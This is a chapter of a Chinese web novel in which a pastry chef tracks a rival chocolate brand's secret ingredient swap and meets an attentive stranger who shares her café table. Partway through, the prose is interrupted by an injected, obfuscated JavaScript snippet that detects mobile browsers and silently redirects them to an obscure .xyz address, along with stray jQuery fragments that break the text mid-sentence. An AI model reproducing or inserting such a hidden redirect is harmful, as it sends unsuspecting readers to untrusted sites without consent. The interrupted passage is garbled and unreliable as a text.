19. 一点力娇酒
作品:《人,你不认识猫了吗》 019
任何行业,关注同行的动向都是极其重要的事。
珍怡作为曾经的国民品牌,改革的意愿一发布有不少网友热情响应。
【支持!长大以后因为代可可脂已经很久没有吃过珍怡了,换了一定重新支持!】
【啊啊啊你们还在啊真好,还以为倒闭了呢哈哈哈】
【好怀念童年的味道,今天刚在超市买了一包,以后就吃不到啦~】
【提醒我了,我要去下单[某宝订单截图]限量版库存有十包是我的了】
【我去我们这的超市都抢空了!干什么呢,还不补库存[生气]】
也有不少反面的言论,觉得珍怡换了配方和原料就不是那个味道了,老牌应该坚守自己的本心,想换产品直说,直接注册新的别消费情怀。
下面也遭到了不少网友的抨击。
【跟随时代的脚步才是正确的选择,我看你的脑子还在你出生那年没带过来】
【什么是本心?让国人吃得更好才是本心】
【固步自封叫本心?那你应该一辈子吃x鹿奶粉用地沟油泡加点植脂末味道香浓】
【楼上说的对】
【楼上说得对】
……
冬郁琢磨着,偷别人家的东西自己用,不叫想进步吧。
冬郁闲暇时间也开始关注网络上的态度,之前珍怡换帅的新闻并没有引起大众的注意力,销量仍然低迷,她想,江竹靖接手珍怡一定十分不甘心,为了在集团内搞出点动静才有了这一系列的骚操作。
一个被集团边缘化的公司,和边缘化的领导,没有钱改革,所以搞了一出偷天换日,利用情怀的舆论,盘活了这个快倒闭的品牌,某种意义上说也是一出妙计。
如果计划顺利,这次的清库存活动能给珍怡带来一大笔收入,这笔钱加上挪用的可可脂足够产品换代。
等到新品上市,再朝着情怀营销一波,彻底把这个品牌扶起来也不是不可能,资金链充足了,也就不必再干偷鸡摸狗的事,悄悄把其它品牌的东西还回去,神不知鬼不觉。
冬郁啧啧两声,花齐鸣没好气地说:“你怎么还佩服上了?”
冬郁:“我哪有佩服他。”她才不承认,“不过我不了解这个江竹靖,他有这个脑子和胆量,不至于争家产输得只剩珍怡。他真能想出这个计划?”
背后怕不是有什么高人指点。
花齐鸣无所谓地说:“他有什么脑子都不重要,证据我已经掌握,咱们只要选个合适的时机放出去,就可以看戏了。”
友商还被蒙在鼓里,可以想象这一出能引起什么样的轩然大波。
没人会闲的没事去分析已经上市的产品成分,尤其是中低端品牌,配料表好几行,根本吃不出区别。
也就是碰上了他们这种‘较真’的,花齐鸣想了想觉得有点得意,也想啧啧两声。
闲话说完还要开早会,招标计划已经在推进,冬郁也汇总了一份门店开业至今的成绩单,品牌转化数据,当然剪掉了自己被讨论的部分。
花齐鸣跃跃欲试地想要帮她补充,被冬郁一个轻飘飘的眼神打了回去。
接下来的一周,冬郁还是按照之前的工作模式,下午赶去门店。
不过这一周她都没出现在玻璃后面,厨房的同事们也听说了这件事,轮流占据了那张显眼的料理台。
前来打卡的人络绎不绝,遗憾没有拍到传说中的小姐姐。
到了周末,在后厨试过新品的冬郁,换了衣服从厨房出来,揉了揉发酸的手臂。
时间还早,冬郁本来打算今天的工作到此结束,但是看角落还空着一张小圆桌,忍不住占据了这个空位。
冬郁桌面上摆着一份她今天的工作内容沙哈蛋糕,和一杯清茶。
打算坐在这里画图。
冬郁挖了一勺蛋糕放进口中,跟传统的苦甜巧克力配方有所不同,她使用了可可液块含量更高的黑巧克力,也是他们VC的招牌之一。
巧克力甘纳许的部分入口即化,顺滑的黑巧包裹着柔软的蛋糕体,抿一下渗出一丝酒香气。但再仔细品尝,微酸的杏子果酱的味道渐渐凸显,没有了甜的牵引,酸变得强势起来,过于突出。
把巧克力本身的风味盖了过去。
冬郁微微皱眉,把设计图翻回去,还得改。
正在冬郁沉浸式画图的时候,店门的风铃声接连响起,没有空位的情况下许多客人无奈选择打包,只有一个人例外。
店员看着男人视线在店内扫过又顿住,心想这个什么都行的奇怪客人又来了,又赶上了没有位置的时间。
哎,店员在心里叹了口气,脸上挂着笑容,又准备跟这位‘随便哥’推销一下店内的招牌,看他每次都无所谓的样子,决定这次推荐一个最贵的。
不过随便哥这次出乎了店员的意料,他用眼神示意了一下方向,问:“要一份跟那位小姐一样的蛋糕。”
店员顺着视线看了过去,看见了坐在角落的大老板,手边放着一款她没见过的蛋糕。
店员:“……”
您真会挑,专挑没有的。
“不好意思先生,那款蛋糕还没有售卖。您再看看别的?”店员说着,直接推荐了一款。
只见男人眉头微皱,点头应下。
店员微笑:“好的稍等,给您打包。”
男人:“不需要,请帮我送过来,麻烦了。”他说着付了钱,朝着刚才看过的方向走了过去。
店员一愣,没有空位了啊。
她目送着男人一路步伐不停地走到了冬郁面前,眼睛瞪得更大了,好家伙,是有图谋的!
冬郁很喜欢店内的白噪音,能让她变得更专注。
“小姐,可以拼桌吗?”一个男人的声音在冬郁身边响起,重复了不止一次后,冬郁才回过神来。
“啊?”冬郁扬起脑袋看。
什么人非要在这么窄的桌子上跟她拼桌?
男人很高,身上是一惯的深色高定西装,剪裁得体,隔着衣服也能看出身材很不错,肩宽窄腰腿长。
西装袖口闪着光芒,应该是钻石袖扣,跟简洁的腕表盘搭配协调,不会喧宾夺主。
冬郁这样想着,视线向上移动,男人俊美淡漠的脸出现在视线内,她觉得自己草率了。
五官深邃,眉眼锋利,唇瓣饱满,在这样的容貌面前,没有任何装饰能夺取别人的视线,即便他穿成花孔雀,一定是像顶级男模而不是品牌大使。
长得是真帅。
冬郁心想。
男人低头询问:“可以吗?”
冬郁模糊地听见自己的声音,“可以。”不受控制地说了出来。
男人嘴角微微向上提起,一只手指修长的手,解开西装扣子,在并不宽阔的椅子上坐下。
连坐下的动作都很好看,像在拍杂志封面。
能上顶刊的水准。
冬郁眼神飘忽地打量对方的时候,店员送来了男人点的蛋糕和咖啡,还站在男人身后冲冬郁挤眉弄眼,示意她看下手机。
冬郁眨眨眼,拿起手机,果然店员跟她发了信息,说了一遍刚才的事。
想吃她手里的蛋糕啊。
冬郁抬眼看去,男人捏着一根小号的银质叉子,很认真地在品尝。表情甚至有些温和的味道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770846|174179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,跟这个人的气质中和起来,变得奇怪。
他吃的那款蛋糕是冬郁的得意之作,是她从业以来,最喜欢的一款,从口味到制作都很独特。
冬郁想了下,给店员回了一条消息,接着继续画图。
男人好像真的是来拼桌的,一直安静的吃东西,没有发出任何让人心烦的声响。
男人咽下口中的食物,不动声色地打量着冬郁,试图寻找一些话题开启。
这时候,店员又来了,手上端着一碟跟冬郁手边一样的蛋糕,放在男人面前,什么都没说便走了。
冬郁还没开口,就听见男人低沉的声音说:“多谢。”
冬郁有点惊讶:“为什么这么说?”
应该没有人认识她,她现在只是一个坐在店里普通客人。
男人的神色有了些变化,转瞬即逝后才开口说:“几年前我们在法国见过。”他轻念出甜点店的名字。
男人还记得第一次见到冬郁的那天,在狭窄巷子中的玻璃窗外驻足后,他第一次走进一家甜点店,买了一块不符合他口味的甜点,法国人的甜让他不适应。
之后留在法国的一周里,他几乎每天都去,可是并没有再遇见她。
说法语时的腔调很好听。
冬郁走神地想着。
回过神来疑惑地看着男人。
几年前?
所以这个男人因为知道她是甜点师,推测出她在这里工作,并且猜到她从同事口中知道了他想买这款蛋糕,于是在自己送了他一块后道谢。
很合理。
冬郁看着男人的脸仔细回想,什么都想不起来,她对这个男人一点印象也没有。
她的记忆力很好,长得有些特点的人她再见面都能记得,这个男人的长相明显是属于让人印象深刻的类型。
冬郁笑了下:“您记性真好,我师父总说我忘性大,我一点印象也没了。”她随口接了一句。
男人平静地接受对方的视线,也回望着冬郁。
当然知道冬郁对他没有印象,毕竟她当时根本没有抬头看他:“你师父?就是内个指导你的MOF?”
连MOF这个称呼都知道,冬郁这下相信男人的话了,点点头:“对,那个老头。”
说完抿了下唇,不好在别人面前这么说。
男人轻笑:“看得出来你们很关系很好。”
他听说那家店的主厨在法国很有名气,脾气并不是很好,是个很严肃的人。
而刚才她脱口而出的称呼,虽然不够礼貌,但是声音很亲昵。
一个异国留学的普通学生,能得到这样级别的主厨的指导已经相当难得,更何况是拜师。
足以证明她是一个很有天赋的厨师。
男人尝了一口蛋糕,依然是他喜欢的苦味,酸调的杏子香味浓郁突出,但是并没有抢走属于巧克力的风采。
男人不确定地问:“有酒吗?”
冬郁:“有一点力娇酒。您的味觉真敏锐。”她赞叹道。
对于普通食客,很难在浓郁的两种香气中辨别出酒的味道。尤其是果香的酒,几乎只有一点尾韵藏在里面。
“真的吗?”男人轻笑了下,“大概是你的作品很有层次,别的蛋糕我吃不出来。”
听听,管她的蛋糕叫作品,管别人的叫蛋糕。
冬郁脸上挂着平静的微笑,“您过奖了。”
这个男人有问题。
男人开始会说话的时候,就说明他很有问题,冬郁琢磨着。
这时男人抬起视线,用目光攥住她。
“我叫江竹渝。”
“可以知道你的名字吗?”